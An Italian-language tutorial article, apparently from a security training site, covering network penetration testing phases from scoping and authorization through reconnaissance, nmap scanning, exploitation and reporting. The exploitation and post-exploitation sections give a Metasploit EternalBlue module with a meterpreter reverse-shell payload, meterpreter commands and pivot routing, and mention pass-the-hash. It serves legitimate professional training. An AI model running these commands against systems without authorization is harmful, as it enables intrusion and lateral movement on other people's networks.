Network Penetration Testing 2026: Metodologia, Tool e Processo Completo
7 settembre 2026 · di Pentevo
Il network penetration testing è una delle valutazioni di sicurezza più comuni per le organizzazioni italiane. Simula un attaccante reale che tenta di violare la rete aziendale — evidenziando quali sistemi sono sfruttabili prima che lo faccia un vero attaccante.
Questa guida illustra la metodologia completa dallo scoping al reporting.
Fasi del Network Penetration Test
Fase 1: Scoping e Pianificazione
Prima di eseguire qualsiasi comando:
- Rules of Engagement (RoE): Quali IP/subnet sono in scope?
- Finestra temporale: Quando è consentito testare (orario lavorativo, notte, weekend)?
- Contatto di emergenza: Chi avvisare se sistemi critici vengono impattati?
- Autorizzazione scritta: Obbligatoria prima di qualsiasi test
Senza questa base, ogni azione è non autorizzata — indipendentemente dall'intenzione.
Fase 2: Reconnaissance
Passiva (nessuna interazione diretta con i sistemi target):
# Informazioni WHOIS
whois aziendaesempio.it
# Enumerazione DNS
dig aziendaesempio.it ANY
dnsrecon -d aziendaesempio.it -t std
# Shodan (senza contattare direttamente il target)
# Ricerca: org:"Azienda Esempio" — rivela servizi pubblicamente visibili
OSINT: LinkedIn per struttura organizzativa e stack tecnologico, offerte di lavoro (rivelano tecnologie in uso), Google dorking per pannelli admin esposti.
Attiva (i sistemi target vengono contattati — solo scope autorizzato):
# Host discovery (quali host sono attivi?)
nmap -sn 10.10.10.0/24 # Ping sweep
Fase 3: Port Scanning e Service Enumeration
Nmap: Lo strumento standard
# Scansione completa (tutte le 65535 porte — accurata ma lenta)
nmap -p- -sV -sC -oA scansione_completa 10.10.10.0/24
# Scansione iniziale veloce (top 1000 porte)
nmap -sV -sC -O 10.10.10.0/24 -oN risultati_scan.txt
# Scansione UDP (spesso dimenticata — SNMP, DNS, DHCP su UDP)
nmap -sU --top-ports 100 10.10.10.1
# Scansione aggressiva con rilevamento OS
nmap -A -T4 10.10.10.1
Flag di output:
-oN scan.txt— Formato normale-oX scan.xml— XML (importabile in Metasploit)-oA prefisso— Tutti e tre simultaneamente
Interpretare i servizi scoperti:
PORT SERVICE VERSION
22/tcp ssh OpenSSH 7.6 (Ubuntu)
80/tcp http Apache 2.4.29
445/tcp microsoft-ds Windows Server 2019
3389/tcp ms-wbt-server Microsoft Terminal Services
→ SSH 7.6 è obsoleto con vulnerabilità note. Windows Server 2019 su 445 → SMB, vale la pena verificare varianti EternalBlue e attacchi SMB relay.
Fase 4: Vulnerability Scanning
# Script NSE di Nmap per vulnerabilità note
nmap --script vuln 10.10.10.1
# Controlli specifici SMB
nmap --script smb-vuln* -p 445 10.10.10.1
# Nikto per le applicazioni web
nikto -h http://10.10.10.1
Nessus (commerciale, standard di settore):
- Tier Essentials: gratuito fino a 32 IP
- Identifica automaticamente migliaia di CVE noti
- CVSS score e guida alla remediation integrati
- Report PDF/HTML esportabili per la consegna al cliente
OpenVAS (alternativa open-source):
sudo gvm-start # GVM è il nome attuale
# Browser: https://localhost:9392
Fase 5: Exploitation
Dopo aver identificato le vulnerabilità sfruttabili:
Metasploit Framework:
msfconsole
# Esempio: EternalBlue (MS17-010) su Windows 7/Server 2008
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.100
run
Exploitation manuale:
# searchsploit — database exploit locale
searchsploit "Apache 2.4.29"
# Exploit-DB.com per codice PoC dettagliato
Fase 6: Post-Exploitation e Movimento Laterale
Dopo l'accesso iniziale:
# Meterpreter: informazioni di sistema
sysinfo
getuid
# Interfacce di rete dell'host compromesso
ipconfig # (Windows) o ifconfig (Linux)
# Suggerimenti per privilege escalation locale
run post/multi/recon/local_exploit_suggester
Movimento laterale:
- Usare le credenziali raccolte su altri sistemi
- Pass-the-Hash (ambienti Windows NTLM)
- Riutilizzo chiavi SSH (ambienti Linux/Unix)
- Pivoting attraverso host compromessi verso segmenti isolati
# Routing Metasploit attraverso host compromesso
route add 192.168.1.0 255.255.255.0 [SESSION_ID]
# Gli host interni 192.168.1.x sono ora raggiungibili
Fase 7: Reporting
Un report professionale di penetration test include:
Executive Summary (non tecnico):
- Rating del rischio complessivo (Critico/Alto/Medio/Basso)
- I 3 finding principali in linguaggio semplice
- Roadmap di remediation prioritizzata
Template finding tecnico:
Titolo: SMB EternalBlue (MS17-010) su 10.10.10.5
CVSS Score: 9.8 (Critico)
Sistemi Affetti: Windows Server 2012 R2
Evidenza: [Screenshot della shell Meterpreter con privilegi SYSTEM]
Descrizione: Il target sta eseguendo una versione non patchata di SMB...
Raccomandazione: Applicare la patch KB4012212, disabilitare SMBv1 via GPO
Finding comuni nelle reti aziendali italiane
- Sistemi Windows non aggiornati (SMB, PrintNightmare, Log4Shell)
- Credenziali predefinite su dispositivi di rete
- Protocolli non cifrati per interfacce admin interne (Telnet, HTTP, FTP)
- Architettura di rete piatta senza segmentazione
- SNMP con community string predefinita "public"
- Certificati TLS auto-firmati o scaduti su servizi interni
- Account di servizio Kerberoastable con password deboli (Active Directory)
L'Accademia Pentevo tratta la sicurezza di rete come tema centrale del CEH — completamente gratuita, con laboratori pratici che rafforzano la metodologia descritta qui.
Domande frequenti
Qual è la differenza tra pentest interno ed esterno?
Il pentest esterno simula un attacco da internet verso sistemi pubblicamente raggiungibili (web server, gateway VPN, mail server). Il pentest interno simula un insider compromesso o un endpoint infetto — testa il movimento laterale, la segmentazione e i sistemi interni. La maggior parte degli engagement aziendali include entrambe le fasi.
Quali certificazioni servono per il network penetration testing?
OSCP (Offensive Security Certified Professional) è il gold standard del settore. eJPT è un ottimo punto di partenza. Per le funzioni di audit interno, CEH o CPTS (HackTheBox) sono ampiamente accettate. Network+ o CCNA forniscono conoscenze prerequisite utili.
Quanto costa un penetration test di rete professionale in Italia?
Per PMI: 3.000–15.000 € a seconda dello scope. Per ambienti enterprise con Active Directory e più sedi: 15.000–50.000 €+. Red Team engagement (forma più realistica): 30.000–100.000 €+. I costi dipendono molto da scope, dimensione della rete e durata dell'engagement.
Cosa deve contenere un report di penetration test?
Executive Summary (non tecnico, per il management), sezione tecnica con tutti i finding (vulnerabilità, CVSS score, prove/screenshot, raccomandazioni), prioritizzazione del rischio (Critico/Alto/Medio/Basso), passi di riproduzione e guida alla remediation con azioni concrete.
Letture correlate
Intelligenza Artificiale nella Cybersecurity: Come l'AI Cambia Attacchi e Difese
Come l'intelligenza artificiale sta rivoluzionando la cybersecurity nel 2026: AI negli attacchi, AI nella difesa, deep fake, prompt injection e cosa aspettarsi.
FundamentalsSicurezza Informatica per Principianti: Guida Completa 2026
Guida alla sicurezza informatica per chi inizia da zero: concetti fondamentali, minacce principali, strumenti di difesa e come iniziare a studiare cybersecurity in italiano.
FundamentalsNotizie Cybersecurity 2026: Il Panorama delle Minacce in Italia e in Europa
Aggiornamenti sul panorama della cybersecurity in Italia e in Europa nel 2026: NIS2, ACN, attacchi ransomware, trend delle minacce e normative emergenti.
FundamentalsGuida Completa all'Ethical Hacking (2026): Tutto Quello che Devi Sapere
Guida completa all'ethical hacking in italiano: definizione, metodologia in 5 fasi, strumenti principali, certificazioni e come iniziare una carriera nel settore.
Metti in pratica questi concetti
Pentevo Academy trasforma questi concetti in lezioni guidate, video e quiz — gratis.
Inizia a imparare gratis